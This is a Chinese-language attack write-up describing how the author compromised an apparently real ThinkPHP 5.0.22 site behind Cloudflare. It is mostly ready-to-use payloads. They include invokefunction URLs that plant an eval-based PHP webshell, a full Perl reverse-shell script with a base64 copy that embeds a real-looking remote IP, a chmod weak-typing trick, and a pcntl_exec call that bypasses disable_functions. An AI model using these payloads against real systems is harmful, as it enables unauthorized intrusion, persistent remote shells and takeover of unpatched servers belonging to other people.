0x00 已知條件
tp 5 路由代碼執行
php 7.3.9,thinkphp 5.0.22 linux
有cloudflare
disable_function禁用以下函數
passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server
發現沒有pcntl_exec在里面,而且pcntl_exec開啟
open_basedir限制
/home/wwwroot/example/:/tmp/:/proc/:/home/wwwroot/
根目錄
/home/wwwroot/example/
包含函數失效(千奇百怪)
think\__include_file think\__require_file
0x01 突破
直接寫php會寫不進去,用php://filter base64encode包裝一下寫入,file_input_contents寫php,發現public目錄下沒有任何可寫目錄,只有runtime和/tmp/目錄下有寫權限,php寫進去了,但是沒辦法執行
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=php://filter/write=convert.base64-decode/resource=/home/wwwroot/example/s.php&vars[1][]=PD9waHAKQGV2YWwoJF9HRVRbJ3IwMCddKTsKcmV0dXJuIFsnYXBwX2luaXQnICAgICA9PiBbXSwnYXBwX2JlZ2luJyAgICA9PiBbXSwnbW9kdWxlX2luaXQnICA9PiBbXSwnYWN0aW9uX2JlZ2luJyA9PiBbXSwndmlld19maWx0ZXInICA9PiBbXSwnbG9nX3dyaXRlJyAgICA9PiBbXSwnYXBwX2VuZCcgICAgICA9PiBbXTsKPz4=
嘗試直接用pcntl_exec執行命令
一直接傳命令的方式,會被cloudflare攔截
二嘗試用文件的方式執行,pcntl_exec反彈shell腳本
#!/usr/bin/perl -w # use strict; use Socket; use IO::Handle; my $remote_ip = 'xxx.xxx.xx.xx'; my $remote_port = '12345'; my $proto = getprotobyname("tcp"); my $pack_addr = sockaddr_in($remote_port, inet_aton($remote_ip)); my $shell = '/bin/sh -i'; socket(SOCK, AF_INET, SOCK_STREAM, $proto); STDOUT->autoflush(1); SOCK->autoflush(1); connect(SOCK,$pack_addr) or die "can not connect:$!"; open STDIN, "<&SOCK"; open STDOUT, ">&SOCK"; open STDERR, ">&SOCK"; system($shell); close SOCK; exit 0;
寫入perl腳本到tmp目錄,url編碼一下,防止+號失效
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=php://filter/write=convert.base64-decode/resource=/tmp/ss1.perl&vars[1][]=IyEvdXNyL2Jpbi9wZXJsIC13CiMKCnVzZSBzdHJpY3Q7ICAgIAp1c2UgU29ja2V0Owp1c2UgSU86OkhhbmRsZTsKCm15ICRyZW1vdGVfaXAgPSAnMTE5LjI5LjEuNDgnOwpteSAkcmVtb3RlX3BvcnQgPSAnMTIzNDUnOwpteSAkcHJvdG8gPSBnZXRwcm90b2J5bmFtZSgidGNwIik7Cm15ICRwYWNrX2FkZHIgPSBzb2NrYWRkcl9pbigkcmVtb3RlX3BvcnQsIGluZXRfYXRvbigkcmVtb3RlX2lwKSk7Cm15ICRzaGVsbCA9ICcvYmluL3NoIC1pJzsKc29ja2V0KFNPQ0ssIEFGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pOwpTVERPVVQtPmF1dG9mbHVzaCgxKTsKU09DSy0%2bYXV0b2ZsdXNoKDEpOwpjb25uZWN0KFNPQ0ssJHBhY2tfYWRkcikgb3IgZGllICJjYW4gbm90IGNvbm5lY3Q6JCEiOwpvcGVuIFNURElOLCAiPCZTT0NLIjsKb3BlbiBTVERPVVQsICI%2bJlNPQ0siOwpvcGVuIFNUREVSUiwgIj4mU09DSyI7CnN5c3RlbSgkc2hlbGwpOwpjbG9zZSBTT0NLOwpleGl0IDA7
chmod 沒法設置權限,默認沒有執行權限,chmod第二個參數只能傳八進制,但這里只能傳字符串。但可以利用弱類型自動轉換來
傳入

字符串511-》十進制511 等同於八進制0755
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=chmod&vars[1][]=/tmp/ss1.perl&vars[1][]=511
執行命令
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=pcntl_exec&vars[1][]=/tmp/ss1.perl
由於有cdn,可能沒生成成功,用intruder爆破批量生成維持一下,成功反彈shell
0x02 后續
反彈shell之后看了一下,發現根本沒有public目錄,這個/home/wwwroot/example就是根目錄,很明顯之前腦子出問題了
runtime目錄是可以直接訪問的,static/img目錄下也是有權限的,直接利用file_input_contents寫進去就完事了

因為cdn的問題,會訪問不了,用intruder 設置null payloads批量生成一下,訪問getshell
0x03 總結
拿下才發現,其實早之前就可以getshell了,之前已經寫shell到runtime了,因為誤判以為runtime目錄訪問不到,加上cdn的佐證,一直想着包含getshell,但包含不了。最后走上了pcntl_exec這條不歸路
才導致后續這一系列瞎操作,但通過pcntl_exec反彈shell還是很香的,在web目錄限制沒有辦法訪問shell或者沒地方寫入的時候